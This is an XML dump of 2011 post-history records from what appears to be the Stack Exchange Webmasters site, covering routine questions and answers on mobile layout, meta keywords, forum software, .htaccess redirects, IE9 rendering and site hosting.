  <row Id="33197" PostHistoryTypeId="2" PostId="14207" RevisionGUID="6b25da4a-8ff1-4b21-bbf4-43857a9ada37" CreationDate="2011-05-22T04:38:25.657" UserDisplayName="Quanta" Text="Try validating your site against an xhtml validator like the one at w3schools.com.  If it passes the validator, there's a decent chance that it'll display pretty consistently in whichever browser you use.&#xD;&#xA;&#xD;&#xA;[w3schools Validators][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3schools.com/site/site_validate.asp" />
  <row Id="33198" PostHistoryTypeId="2" PostId="14206" RevisionGUID="741c1bb3-10e6-4c23-9efe-a4aaea0968db" CreationDate="2011-05-22T04:30:42.513" UserDisplayName="Fbdf" Text="I have a issue whereby images that are I div because of the style percentage width property will get resize weirdly and will not display correcty in pc or mobile iPhone&#xD;&#xA;&#xD;&#xA;What is the best way to position div for mobile purpose viewing&#xD;&#xA;&#xD;&#xA;Percentage or there are other alternative?&#xD;&#xA;&#xD;&#xA;Taking into consideration tat the image may be resize" />
  <row Id="33199" PostHistoryTypeId="1" PostId="14206" RevisionGUID="741c1bb3-10e6-4c23-9efe-a4aaea0968db" CreationDate="2011-05-22T04:30:42.513" UserDisplayName="Fbdf" Text="How to design a mobile website?" />
  <row Id="33200" PostHistoryTypeId="3" PostId="14206" RevisionGUID="741c1bb3-10e6-4c23-9efe-a4aaea0968db" CreationDate="2011-05-22T04:30:42.513" UserDisplayName="Fbdf" Text="&lt;css&gt;" />
  <row Id="33201" PostHistoryTypeId="17" PostId="14206" RevisionGUID="60df2137-53be-412b-8f23-870796cde6fe" CreationDate="2011-05-22T12:18:05.347" UserId="-1" Comment="from http://stackoverflow.com/questions/6086050/how-to-design-a-mobile-website" Text="" />
  <row Id="33202" PostHistoryTypeId="2" PostId="14208" RevisionGUID="4994a5d2-cdfc-4865-b08e-ad5292bf58e3" CreationDate="2011-05-22T14:43:40.803" UserId="1253" Text="If you know how to program you can have the second domain pull down the contents of your blog and display it that way. This will not require pointing the domain to your current blog and will act as a proxy so your site can be viewed in countries that block Blogger. Just make sure you don't allow Google to index that content or else you will have duplicate content issues." />
  <row Id="33203" PostHistoryTypeId="2" PostId="14209" RevisionGUID="86891a6e-3ece-4bc4-a477-6bbc7fd7b33b" CreationDate="2011-05-22T14:48:44.577" UserId="1253" Text="Google Analytics does not make its information publicly available. The only way to view that information is to successfully authenticate yourself (i.e. log in).&#xD;&#xA;&#xD;&#xA;Some hosts have web stats available publicly by default. You need to make sure yours is password protected. But I don't think is an issue as based on the information your provided they aren't able to actually see your web stats.&#xD;&#xA;&#xD;&#xA;Nameserver information is publicly available so that shouldn't be a surprise that they know that information. Daily traffic is estimated and publish by sites like Alexa so that's not unusual for them to know about. Your analytics ID is published in your code so that also is publicly available (I'm assuming you mean analytics ID and not login ID).&#xD;&#xA;&#xD;&#xA;So basically the information they have is not sensitive or unusual to have. There isn't anything you can do to block any of these but it really doesn't matter anyway as none of it is very useful information." />
  <row Id="33204" PostHistoryTypeId="2" PostId="14210" RevisionGUID="00410351-2bfc-4601-8b15-9d3fc2487957" CreationDate="2011-05-22T14:54:03.467" UserId="1253" Text="The blog is Wordpress. Everything else looks custom but I can't 100% sure." />
  <row Id="33205" PostHistoryTypeId="5" PostId="14200" RevisionGUID="25a41e76-cec1-4c7c-a3b1-a797ec6d4639" CreationDate="2011-05-22T14:54:22.297" UserId="1253" Comment="modified tags" Text="See http://www.anscamobile.com&#xD;&#xA;&#xD;&#xA;I like the design of this website, and would like to know if you guys can identify a similar design/theme/CMS setup that is readily available." />
  <row Id="33206" PostHistoryTypeId="6" PostId="14200" RevisionGUID="25a41e76-cec1-4c7c-a3b1-a797ec6d4639" CreationDate="2011-05-22T14:54:22.297" UserId="1253" Comment="modified tags" Text="&lt;looking-for-a-script&gt;&lt;theme&gt;" />
  <row Id="33207" PostHistoryTypeId="2" PostId="14211" RevisionGUID="470633c7-3148-4405-8a8e-19090aeacae9" CreationDate="2011-05-22T14:54:36.870" UserId="5806" Text="Do not worry about it and there is nothing you can do. Most of them make that information up and base your site value on the amount of page views *they think you get*. People know that this is not the value of your *business*.&#xD;&#xA;&#xD;&#xA;There are tons of way to make semi-informed guesses but they are highly skewed to certain types of websites. Google Analytics stats are not used for this and Google does not share it with anyone.&#xD;&#xA;&#xD;&#xA;For most common site that gathers stats is [www.alexa.com][1]. It does so using a toolbar that people install in their browser. That toolbar gather stats about browsing and then the stats are extrapolated from those. A huge number of sites actually use Alexa's results and then extrapolate from that further (such as guess valuation from page views). As you can guess, the further removed from Alexa, the wilder the guesses!&#xD;&#xA;&#xD;&#xA;  [1]: http://www.alexa.com/" />
  <row Id="33208" PostHistoryTypeId="5" PostId="9082" RevisionGUID="83582f30-bb5a-4d03-a537-bcfedd632ba2" CreationDate="2011-05-22T14:55:55.213" UserId="1253" Comment="modified tags" Text="I need to assemble a **GetSatisfaction/Lithium/Jive type support forum/community**. The first is not available in the desired language and the last two are priced for the enterprise market. I did research some other options (open source or SaaS) but they all seem to be either:&#xD;&#xA;&#xD;&#xA; - kind of dead (open source options)&#xD;&#xA; - too focused in gathering ideas/feedback (uservoice)&#xD;&#xA; - strictly support without the community/voting features (zendesk) &#xD;&#xA;&#xD;&#xA;**I need an open forum (people powered support/UGC with community/voting features) &amp;  Facebook/Google/Yahoo/MSN account sign-in.**&#xD;&#xA;&#xD;&#xA;Therefore I will have to do some of the work on my own. I want to **piece things (plugins/mods/etc) on top of a standard forum platform to give it the features I need**. For this purpose, I want to use a **mature** product with widespread userbase, active community and lots of plugin options. I believe most will agree that my options therefore are:&#xD;&#xA;&#xD;&#xA; - vBulletin&#xD;&#xA; - phpBB&#xD;&#xA; - SMF&#xD;&#xA;&#xD;&#xA;Here are the questions: &#xD;&#xA;&#xD;&#xA; 1. **Which one of the three above offers the easier path towards the&#xD;&#xA;    desired goal**?&#xD;&#xA; 2. **Which one of the three above has the most advanced features related to the&#xD;&#xA;    desired goal?**&#xD;&#xA;&#xD;&#xA;Of course I dont expect anyone to **know** these answers *cut and dry*. I am hoping to hear some experiences and see some examples. Also, it would be great if both those questions had the same answer, but I am not going to get my hopes up...&#xD;&#xA;&#xD;&#xA;PS: I wish I could add the tags &quot;phpbb&quot; and &quot;smf&quot; ;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33209" PostHistoryTypeId="6" PostId="9082" RevisionGUID="83582f30-bb5a-4d03-a537-bcfedd632ba2" CreationDate="2011-05-22T14:55:55.213" UserId="1253" Comment="modified tags" Text="&lt;looking-for-a-script&gt;&lt;forum&gt;&lt;phpbb&gt;&lt;community&gt;&lt;vbulletin&gt;" />
  <row Id="33210" PostHistoryTypeId="4" PostId="14206" RevisionGUID="4b794ecd-4d94-488b-92ce-87872b5bb70d" CreationDate="2011-05-22T14:57:16.553" UserId="1253" Comment="Improved the question to reflect what they are actually asking" Text="What is the best way to position div for mobile purpose viewing?" />
  <row Id="33211" PostHistoryTypeId="5" PostId="14199" RevisionGUID="774d5606-63be-449b-a504-da99551469b4" CreationDate="2011-05-22T14:58:33.010" UserId="1253" Comment="modified tags, formatted text" Text="I have on my website hundreds of pages with a help text in it. This text is the same for all the pages and is long compared to the rest of the texts on the page. Because i want better user experience, i prefer to keep the text in the page and not in another where i could link to. &#xD;&#xA;&#xD;&#xA;I fear that SEs might consider my site too spammy because of that.&#xD;&#xA;&#xD;&#xA;What would you do in that situation ?&#xD;&#xA;" />
  <row Id="33212" PostHistoryTypeId="6" PostId="14199" RevisionGUID="774d5606-63be-449b-a504-da99551469b4" CreationDate="2011-05-22T14:58:33.010" UserId="1253" Comment="modified tags, formatted text" Text="&lt;seo&gt;" />
  <row Id="33213" PostHistoryTypeId="2" PostId="14212" RevisionGUID="3881afc6-7471-4044-a995-d56af78ba54d" CreationDate="2011-05-22T15:08:09.043" UserId="-1" Text="" />
  <row Id="33214" PostHistoryTypeId="2" PostId="14213" RevisionGUID="90cabfb0-1f4f-4d06-b42c-37af20698635" CreationDate="2011-05-22T15:08:09.043" UserId="-1" Text="" />
  <row Id="33215" PostHistoryTypeId="25" PostId="14200" RevisionGUID="dab6e2c0-cced-41f9-8e1f-4850a5ad6f5d" CreationDate="2011-05-22T15:12:33.553" Comment="http://twitter.com/#!/StackWebmasters/status/72318939232874496" />
  <row Id="33216" PostHistoryTypeId="2" PostId="14214" RevisionGUID="8c05d5be-bf1d-4845-b882-e9b360ac47bf" CreationDate="2011-05-22T15:15:45.690" UserId="6901" Text="I know that [vanilla forums][1] isn't on your list of forums that you are considering, though you should try it. It has almost all of the features you need, including voting (enabled by [this plugin][2]). The only feature that I'm not sure if they support is msn sign-in, though they support open-id (yahoo supports open-id), facebook, and google sign-in. &#xD;&#xA;&#xD;&#xA;I haven't used vBulletin, but it will be easier to make your forum do what you need it to do with vanilla than phpbb or smf (vanilla makes it more easier to install modifications than phpbb or smf). And vanilla forums is free, while you have to pay for vBulletin.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.vanillaforums.org/&#xD;&#xA;  [2]: http://vanillaforums.org/addon/voting-plugin" />
  <row Id="33217" PostHistoryTypeId="2" PostId="14215" RevisionGUID="721786f2-8fc2-4a54-bba7-2a3d3624714f" CreationDate="2011-05-22T16:33:20.413" UserId="7405" Text="From the requirements you describe, you may want to have a look at the [Rackspace Cloud][1].  In many cloud server (VPS) environments, when you want to scale up your machine (increase RAM, CPU, etc.) you have to provision a new server and then migrate from the old to the new.  Rackspace gives you the option to increase resources as you need them without having to provision a new server and migrate.&#xD;&#xA;&#xD;&#xA;You have a TON of options for configuring your infrastructure.  Cloud Files gives you file storage capabilities with the added benefit of being globally distributed on a CDN (included as part of the service).  Traffic between your application, database, and file tiers do not count against your bandwidth charges.&#xD;&#xA;&#xD;&#xA;In addition to being able to scale up (making each server bigger), with their Cloud Load Balancer options now available, you also have the ability to scale out (adding servers to a particular tier).  Managed private clouds are available if you didn't want to handle any of the server management aspects.  &#xD;&#xA;&#xD;&#xA;For the record, I am not affiliated with Rackspace in any way but I have used their services in the past.  Performance has been extremely good.&#xD;&#xA;&#xD;&#xA;At the end of the day, the solution you pick will ultimately depend on your requirements, budget, and comfort level with a given provider.  That could be Rackspace, Amazon, or just about any other provider.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.rackspace.com/cloud/" />
  <row Id="33218" PostHistoryTypeId="25" PostId="14202" RevisionGUID="75ec9ecf-998d-4a6b-878c-f7ed51c5c86e" CreationDate="2011-05-22T18:12:33.517" Comment="http://twitter.com/#!/StackWebmasters/status/72364236302585857" />
  <row Id="33223" PostHistoryTypeId="2" PostId="14217" RevisionGUID="4b5e666d-9368-4e5a-b303-8748d0a939a2" CreationDate="2011-05-22T19:06:08.363" UserId="42" Text="http://sitemap.keylimetie.com/ might not suit your needs, but I'll throw it out there in case anyone finds it useful.  I use it and am pleased with the results and it can be scheduled to run daily or weekly." />
  <row Id="33227" PostHistoryTypeId="5" PostId="14212" RevisionGUID="58a5a468-5a5c-4338-881c-e46f0274e0b7" CreationDate="2011-05-22T19:34:18.850" UserId="6901" Comment="added 57 characters in body" Text="Google's Search Engine, located at http://www.google.com/" />
  <row Id="33228" PostHistoryTypeId="24" PostId="14212" RevisionGUID="58a5a468-5a5c-4338-881c-e46f0274e0b7" CreationDate="2011-05-22T19:34:18.850" Comment="Proposed by 6901 approved by 1064 edit id of 327" />
  <row Id="33229" PostHistoryTypeId="5" PostId="14213" RevisionGUID="06cedad7-4862-4d9c-b4e9-d458d4ac6077" CreationDate="2011-05-22T19:34:45.013" UserId="6901" Comment="added 22 characters in body" Text="Google's Search Engine" />
  <row Id="33230" PostHistoryTypeId="24" PostId="14213" RevisionGUID="06cedad7-4862-4d9c-b4e9-d458d4ac6077" CreationDate="2011-05-22T19:34:45.013" Comment="Proposed by 6901 approved by 1064 edit id of 328" />
  <row Id="33234" PostHistoryTypeId="2" PostId="14219" RevisionGUID="f35cc19c-01ec-4fe4-9cb2-2885f287dcc0" CreationDate="2011-05-22T20:18:40.670" UserId="-1" Text="" />
  <row Id="33235" PostHistoryTypeId="2" PostId="14220" RevisionGUID="54475013-809d-44f7-96ec-e1cff00ce8d5" CreationDate="2011-05-22T20:18:40.670" UserId="-1" Text="" />
  <row Id="33236" PostHistoryTypeId="5" PostId="13622" RevisionGUID="844cc40d-92a1-42e2-9cfc-b68ae988cfc6" CreationDate="2011-05-22T21:09:43.870" UserId="4121" Comment="added 307 characters in body; edited title" Text="Update : Tested with IIS6 and IE9 the same problem persisted. using paulmorriss's advice the Browser mode and Document for the page were different, so this problem had nothing to do with IIS6 or 7 but with using IE9 ( Havent tried IE 7, 8 yet).&#xD;&#xA;&#xD;&#xA;I am developing a site on my machine, and to allow others to view the progress it is being hosted under IIS7 on my  local machine. Sames pages look different with IE9 when using localhost,127.0.0.1 or the machine ip than when viewed using the machine name &quot;xpc&quot;&#xD;&#xA;&#xD;&#xA;I saved the same page and folloing is the section when viewed with localhost,127.0.0.1 or my machine IP :&#xD;&#xA;&#xD;&#xA;    &lt;META name=&quot;Author&quot;&gt;&#xD;&#xA;    &lt;META name=&quot;Copyright&quot;&gt;&#xD;&#xA;    &lt;META name=&quot;Description&quot;&gt;&#xD;&#xA;&#xD;&#xA;here is the same thing when viewed using http://xpc instead :&#xD;&#xA;&#xD;&#xA;    &lt;META name=Author&gt;&#xD;&#xA;    &lt;META name=Copyright&gt;&#xD;&#xA;    &lt;META name=Description&gt;&#xD;&#xA;&#xD;&#xA;There is no hardocing of domain name in any way anywhere (as far I have been able to verify), so why is the same page being served in two different ways? Everything works fine when I launch the site from VS2010 development server.&#xD;&#xA;&#xD;&#xA;Also pages looked identical when viewed with FireFox. So my guess is IIS7 is serving differently for IE(9), but why?&#xD;&#xA;&#xD;&#xA;Thank you&#xD;&#xA;&#xD;&#xA;Edit :&#xD;&#xA;[Related][1] : Tried it but still no joy, force refreshing the page and looking at the source I can see the meta tag but nothing changed, changing to ip adress shows fine.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/11987/ie9-renders-my-web-site-as-ie7-how-to-make-it-render-as-ie9" />
  <row Id="33237" PostHistoryTypeId="4" PostId="13622" RevisionGUID="844cc40d-92a1-42e2-9cfc-b68ae988cfc6" CreationDate="2011-05-22T21:09:43.870" UserId="4121" Comment="added 307 characters in body; edited title" Text="IE9 changes Browser Mode based using domain name or ip address for the url" />
  <row Id="33238" PostHistoryTypeId="25" PostId="14194" RevisionGUID="dbe1306c-fb34-418e-8e1f-4da5272599f9" CreationDate="2011-05-22T21:12:34.317" Comment="http://twitter.com/#!/StackWebmasters/status/72409539567296512" />
  <row Id="33239" PostHistoryTypeId="2" PostId="14221" RevisionGUID="84b8a1bd-8ca3-4029-adae-7be313bf67ee" CreationDate="2011-05-22T21:47:08.427" UserId="7730" Text="I'm going to start a website where I need a Signup and Sign in system. And when the user is signed in the user will get access to stuff that only members can see an access. Would HTML be the best way to go then?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33240" PostHistoryTypeId="1" PostId="14221" RevisionGUID="84b8a1bd-8ca3-4029-adae-7be313bf67ee" CreationDate="2011-05-22T21:47:08.427" UserId="7730" Text="Website with sign up and sign in system." />
  <row Id="33241" PostHistoryTypeId="3" PostId="14221" RevisionGUID="84b8a1bd-8ca3-4029-adae-7be313bf67ee" CreationDate="2011-05-22T21:47:08.427" UserId="7730" Text="&lt;html&gt;&lt;login&gt;" />
  <row Id="33242" PostHistoryTypeId="2" PostId="14222" RevisionGUID="203522f6-5c40-414a-a2cd-252e133a0b8d" CreationDate="2011-05-22T12:51:31.007" UserDisplayName="mike23" Text="I use this redirect rule to redirect users from `www.domain.com/admin` to `www.domain.com/wp-admin` on a Wordpress site.&#xD;&#xA;&#xD;&#xA;    RedirectMatch 301 \@admin http://www.domain.com/wp-admin&#xD;&#xA;&#xD;&#xA;The problem is that instead redirecting to `wp-admin/`, it redirects to an article called *Administrators are awesome people* (slug : `administrators-are-awesome-people`)&#xD;&#xA;&#xD;&#xA;I can guess what is going on, WP sees that there is an article slug starting with &quot;admin&quot;, and redirects to it, overruling my own rule.&#xD;&#xA;&#xD;&#xA;Is there a way to be more specific, like saying &quot;redirect urls that end with exactly `admin` ? " />
  <row Id="33243" PostHistoryTypeId="1" PostId="14222" RevisionGUID="203522f6-5c40-414a-a2cd-252e133a0b8d" CreationDate="2011-05-22T12:51:31.007" UserDisplayName="mike23" Text="Trouble with .htacess redirection" />
  <row Id="33244" PostHistoryTypeId="3" PostId="14222" RevisionGUID="203522f6-5c40-414a-a2cd-252e133a0b8d" CreationDate="2011-05-22T12:51:31.007" UserDisplayName="mike23" Text="&lt;wordpress&gt;&lt;url&gt;&lt;redirects&gt;" />
  <row Id="33245" PostHistoryTypeId="17" PostId="14222" RevisionGUID="394c2f97-a5be-4ec6-a95d-4d7828ec1a07" CreationDate="2011-05-22T21:52:00.640" UserId="-1" Comment="from http://stackoverflow.com/questions/6088044/trouble-with-htacess-redirection" Text="" />
  <row Id="33246" PostHistoryTypeId="17" PostId="14224" RevisionGUID="882abc6c-879e-4f6a-a8c5-fca89393a13f" CreationDate="2011-05-22T21:52:47.223" UserId="-1" Comment="from http://stackoverflow.com/questions/162158/are-meta-keywords-obsolete/162174#162174" Text="" />
  <row Id="33247" PostHistoryTypeId="17" PostId="14225" RevisionGUID="17c3c796-edd5-4a59-8f49-aa4983bfacc0" CreationDate="2011-05-22T21:52:47.223" UserId="-1" Comment="from http://stackoverflow.com/questions/162158/are-meta-keywords-obsolete/162183#162183" Text="" />
  <row Id="33248" PostHistoryTypeId="17" PostId="14226" RevisionGUID="c9bd6589-ee04-4492-b1f0-aa520599d7de" CreationDate="2011-05-22T21:52:47.223" UserId="-1" Comment="from http://stackoverflow.com/questions/162158/are-meta-keywords-obsolete/162200#162200" Text="" />
  <row Id="33249" PostHistoryTypeId="17" PostId="14227" RevisionGUID="72d70462-eea2-44e2-8ad4-96ecefec8516" CreationDate="2011-05-22T21:52:47.223" UserId="-1" Comment="from http://stackoverflow.com/questions/162158/are-meta-keywords-obsolete/162202#162202" Text="" />
  <row Id="33250" PostHistoryTypeId="17" PostId="14228" RevisionGUID="c838ad19-f311-41eb-ac1d-3f1ee8f233c9" CreationDate="2011-05-22T21:52:47.223" UserId="-1" Comment="from http://stackoverflow.com/questions/162158/are-meta-keywords-obsolete/4919917#4919917" Text="" />
  <row Id="33251" PostHistoryTypeId="2" PostId="14224" RevisionGUID="670658dc-cf48-4ee2-8e31-bd1f27818994" CreationDate="2008-10-02T13:11:31.243" UserDisplayName="Bob Dizzle" Text="They will still help as long as you use them responsibly." />
  <row Id="33252" PostHistoryTypeId="2" PostId="14225" RevisionGUID="64ec3b1c-f839-43a5-9dcf-d4709bc8fdd5" CreationDate="2008-10-02T13:12:20.663" UserDisplayName="MattW." Text="They certainly don't hurt, but I'd make sure you generate unique and fitting keywords for each page if possible. The meta descriptions is more important, though, as Google tends to use it as the snippet they show in results." />
  <row Id="33253" PostHistoryTypeId="2" PostId="14226" RevisionGUID="435e69b6-cef5-4f28-b5f3-51a17f398954" CreationDate="2008-10-02T13:15:19.050" UserDisplayName="J-P" Text="I've stopped using meta keywords. Google tends to look elsewhere (like in the actual page's content) as do other search engines. As stated above, the description is important as Google uses it - If you don't use it then Google will normally take the topmost paragraph/heading of your page for its description. &#xD;&#xA;&#xD;&#xA;Using meta keywords can hurt if you don't know how to use them. #1 rule - don't have a meta keyword which doesn't exist somewhere in the actual page! " />
  <row Id="33254" PostHistoryTypeId="2" PostId="14227" RevisionGUID="a5c44f09-9e01-45fb-a792-85d1ea847d24" CreationDate="2008-10-02T13:15:36.803" UserId="257" Text="Not nearly as important as they once were, Keywords are the sort of phrases that I’d expect someone to type into a search engine to find this web site. You can probably leave this out these days, but I'd put a few in as it can’t hurt. The fact is that, now, the spiders can work out for themselves what keywords are relevant to your page text so the meta keywords code is somewhat obsolete.&#xD;&#xA;&#xD;&#xA;So, meta tags are just about obsolete in terms of Search Engine Optimization. But consider these three points:&#xD;&#xA;&#xD;&#xA;   1. Write high quality description tags designed to get **a user to click** on your link, yet is still relevant to the topic of the page&#xD;&#xA;   2. Make them **unique per page**.&#xD;&#xA;   2. **Don't spam your meta tags**. It won't work and you'll just get in trouble because of it." />
  <row Id="33255" PostHistoryTypeId="2" PostId="14228" RevisionGUID="24416a51-dc51-40de-b174-0aee3c8bcc47" CreationDate="2011-02-07T09:55:41.880" UserDisplayName="Lord Lommel" Text="Bing uses meta keys they say. So it makes sense to keep it in your header. But do not use the same bunch of keys at all your pages. Use keys describing the single page. Otherwise don't use it." />
  <row Id="33256" PostHistoryTypeId="2" PostId="14223" RevisionGUID="15b5ab66-4062-41b0-98aa-719cb4926b08" CreationDate="2008-10-02T13:08:55.900" UserDisplayName="user24487" Text="Creating a website for a BraodBand Company, and not too sure whether or not to go ahead and fill in the meta keywords? Are they still necessary?" />
  <row Id="33257" PostHistoryTypeId="1" PostId="14223" RevisionGUID="15b5ab66-4062-41b0-98aa-719cb4926b08" CreationDate="2008-10-02T13:08:55.900" UserDisplayName="user24487" Text="Are Meta Keywords Obsolete?" />
  <row Id="33258" PostHistoryTypeId="3" PostId="14223" RevisionGUID="15b5ab66-4062-41b0-98aa-719cb4926b08" CreationDate="2008-10-02T13:08:55.900" UserDisplayName="user24487" Text="&lt;html&gt;&lt;metadata&gt;" />
  <row Id="33259" PostHistoryTypeId="17" PostId="14223" RevisionGUID="29746a46-ed22-4e1d-85eb-da00a90eefa0" CreationDate="2011-05-22T21:52:47.223" UserId="-1" Comment="from http://stackoverflow.com/questions/162158/are-meta-keywords-obsolete" Text="" />
  <row Id="33260" PostHistoryTypeId="2" PostId="14229" RevisionGUID="5db75428-d122-4698-a834-006e12b8f96c" CreationDate="2011-05-22T21:54:00.343" UserId="7730" Text="I was wondering how to update a page with new stuff like a new news article or something. (The Website is html based). The only thing I could think of is by uploading and replacing the whole .html page with the new article etc. But isn't there an easier way? Like in wordpress where you just sign in and write the article and post it.&#xD;&#xA;&#xD;&#xA;Sorry for my stupidity lol xd&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="33261" PostHistoryTypeId="1" PostId="14229" RevisionGUID="5db75428-d122-4698-a834-006e12b8f96c" CreationDate="2011-05-22T21:54:00.343" UserId="7730" Text="Updating a News pages written in html" />
  <row Id="33262" PostHistoryTypeId="3" PostId="14229" RevisionGUID="5db75428-d122-4698-a834-006e12b8f96c" CreationDate="2011-05-22T21:54:00.343" UserId="7730" Text="&lt;html&gt;" />
  <row Id="33263" PostHistoryTypeId="2" PostId="14230" RevisionGUID="7a776517-25e6-4174-866c-465170b69fd4" CreationDate="2011-05-22T22:25:30.657" UserId="4121" Text="What you are looking for is a CMS like wordpress, html is static, so the only way to update it as you said by uploading a new file. In the long run you are better off using Wordpress / a Blog Engine etc. that way the updating becomes seemless.&#xD;&#xA;&#xD;&#xA;What is the website and what are you trying to do with it?&#xD;&#xA;An alternative is that you can have the articles/blogs hosted somewhere else where you get free WebPress/Bogging like google etc, and in your html site you just put a link to them, and in them you put a link back to your site. That is the least hassle free way of going about it." />
  <row Id="33264" PostHistoryTypeId="2" PostId="14231" RevisionGUID="3cfe4ffc-8e02-4680-b7dd-6a892d1af42c" CreationDate="2011-05-22T22:27:48.160" UserId="1253" Text="HTML is not meant for this. You will need a server side programming language like PHP to do this. The web pages will in in HTML but the login and registration system will be done server side. " />
  <row Id="33265" PostHistoryTypeId="5" PostId="14229" RevisionGUID="4db67207-c06b-42dc-9210-b77ac2270939" CreationDate="2011-05-22T22:28:51.560" UserId="1253" Comment="deleted 42 characters in body" Text="I was wondering how to update a page with new stuff like a new news article or something. (The Website is html based). The only thing I could think of is by uploading and replacing the whole .html page with the new article etc. But isn't there an easier way? Like in wordpress where you just sign in and write the article and post it.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33266" PostHistoryTypeId="5" PostId="14220" RevisionGUID="4d66aeaf-576c-4f27-b625-7ed2358c16c8" CreationDate="2011-05-22T22:33:42.820" UserId="6901" Comment="added 32 characters in body" Text="A forum script based off of php." />
  <row Id="33267" PostHistoryTypeId="24" PostId="14220" RevisionGUID="4d66aeaf-576c-4f27-b625-7ed2358c16c8" CreationDate="2011-05-22T22:33:42.820" Comment="Proposed by 6901 approved by -1 edit id of 332" />
  <row Id="33268" PostHistoryTypeId="5" PostId="14220" RevisionGUID="4945f64f-5928-4985-a4e9-a27b25949517" CreationDate="2011-05-22T22:33:45.737" UserId="1064" Comment="Revised for accuracy, capitalization" Text="A forum script written in PHP." />
  <row Id="33269" PostHistoryTypeId="5" PostId="14219" RevisionGUID="ac38ec1b-320a-4142-b103-34953b40dd48" CreationDate="2011-05-22T22:35:09.623" UserId="6901" Comment="added 69 characters in body" Text="A forum script based off of php. Download it at http://www.phpbb.com/" />
  <row Id="33270" PostHistoryTypeId="24" PostId="14219" RevisionGUID="ac38ec1b-320a-4142-b103-34953b40dd48" CreationDate="2011-05-22T22:35:09.623" Comment="Proposed by 6901 approved by -1 edit id of 331" />
  <row Id="33271" PostHistoryTypeId="5" PostId="14219" RevisionGUID="27549a8b-36a4-4005-925e-f49ebf31001f" CreationDate="2011-05-22T22:35:10.980" UserId="1064" Comment="Added link, revised wording" Text="A forum script written in PHP. See [phpBB.com](http://www.phpbb.com/) for further information." />
  <row Id="33272" PostHistoryTypeId="2" PostId="14232" RevisionGUID="dc9c4182-249e-479b-8073-357b75b50e1b" CreationDate="2011-05-22T22:39:55.387" UserId="7731" Text="Yes.  Anything you set in .htaccess you can set in the Apache configuration.&#xD;&#xA;&#xD;&#xA;What you'll do is add the directives from your /admin .htaccess to your /backup directory context." />
  <row Id="33273" PostHistoryTypeId="2" PostId="14233" RevisionGUID="955e75ed-dbd0-441b-b32a-acbf3e608f9c" CreationDate="2011-05-22T22:44:51.893" UserId="4461" Text="Search engines can recognise &quot;[boiler-plate][1]&quot; text - the text that is replicated on all pages of the site, like navigation, footers, sidebars, etc - so i'd expect that the SE's will see your &quot;help text&quot; in that respect.&#xD;&#xA;&#xD;&#xA;That being said, I don't think it's the best user experience, and probably not the best for providing search engines with the content they're looking for.&#xD;&#xA;&#xD;&#xA;I'd suggest you use a cookie-based method of detecting if a user has been to the site (either before, or for a session), and [use JavaScript to display that text][2] (externalize if possible).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.seobythesea.com/?p=996&#xD;&#xA;  [2]: http://stackoverflow.com/questions/2779915/hide-and-show-content-based-on-cookie-value" />
  <row Id="33274" PostHistoryTypeId="6" PostId="14199" RevisionGUID="989eedb7-b63d-470d-8167-4f7c3f04f8b4" CreationDate="2011-05-22T22:45:19.070" UserId="4461" Comment="edited tags" Text="&lt;seo&gt;&lt;duplicate-content&gt;" />
  <row Id="33275" PostHistoryTypeId="25" PostId="14229" RevisionGUID="5d0151a1-4625-488d-970e-f2e7a0a4d87b" CreationDate="2011-05-23T00:12:35.933" Comment="http://twitter.com/#!/StackWebmasters/status/72454844715253763" />
  <row Id="33276" PostHistoryTypeId="2" PostId="14234" RevisionGUID="feb4d4c9-80fa-43b8-8515-8f6fa586a911" CreationDate="2011-05-23T00:35:43.403" UserId="7015" Text="I have a yahoo media player embedded in my webpage. I am currently using Ruby on Rails to create/edit my web page. When i click the play button next to a track the YMP waits a while and then goes to the next track without playing the first one. I then get a warning on my second (last) track that its file could not be found. If anyone has a better recommendation for an audio player or a way to fix this one it would be greatly appreciated. &#xD;&#xA;Thanks" />
  <row Id="33277" PostHistoryTypeId="1" PostId="14234" RevisionGUID="feb4d4c9-80fa-43b8-8515-8f6fa586a911" CreationDate="2011-05-23T00:35:43.403" UserId="7015" Text="yahoo media player not working." />
  <row Id="33278" PostHistoryTypeId="3" PostId="14234" RevisionGUID="feb4d4c9-80fa-43b8-8515-8f6fa586a911" CreationDate="2011-05-23T00:35:43.403" UserId="7015" Text="&lt;ruby-on-rails&gt;&lt;yahoo&gt;&lt;audio&gt;" />
  <row Id="33279" PostHistoryTypeId="2" PostId="14235" RevisionGUID="edf09d12-d641-4f34-b205-5455b5bab17f" CreationDate="2011-05-23T00:42:10.060" UserId="7015" Text="I want to be able to stream audio from another webpage through mine, but i do not know how to find the url for each audio file located on a separate webpage. It would also be extremely helpful to do everything in bulk so instead of writing a separate line of code for each audio file, simply writing a few lines of code to upload links to 100 audio files, etc. I am also using Ruby on Rails for my webpage. Thanks" />
  <row Id="33280" PostHistoryTypeId="1" PostId="14235" RevisionGUID="edf09d12-d641-4f34-b205-5455b5bab17f" CreationDate="2011-05-23T00:42:10.060" UserId="7015" Text="Streaming audio from a webpage" />
  <row Id="33281" PostHistoryTypeId="3" PostId="14235" RevisionGUID="edf09d12-d641-4f34-b205-5455b5bab17f" CreationDate="2011-05-23T00:42:10.060" UserId="7015" Text="&lt;url&gt;&lt;ruby-on-rails&gt;&lt;audio&gt;&lt;streaming&gt;&lt;path&gt;" />
  <row Id="33282" PostHistoryTypeId="2" PostId="14236" RevisionGUID="c7ccd95a-5a69-49f7-bca7-3ae768efe2bc" CreationDate="2011-05-23T01:00:17.773" UserDisplayName="Carlos Barbosa" Text="So, for a multi user web app, what is better:&#xD;&#xA;&#xD;&#xA;    http://username.domain.com&#xD;&#xA;&#xD;&#xA;Or&#xD;&#xA;&#xD;&#xA;    http://domain.com/username&#xD;&#xA;&#xD;&#xA;I would like to get feedback about security, scalability and maintenance specifically, app is php based, so it is .htaccess based for url rewriting.&#xD;&#xA;&#xD;&#xA;" />
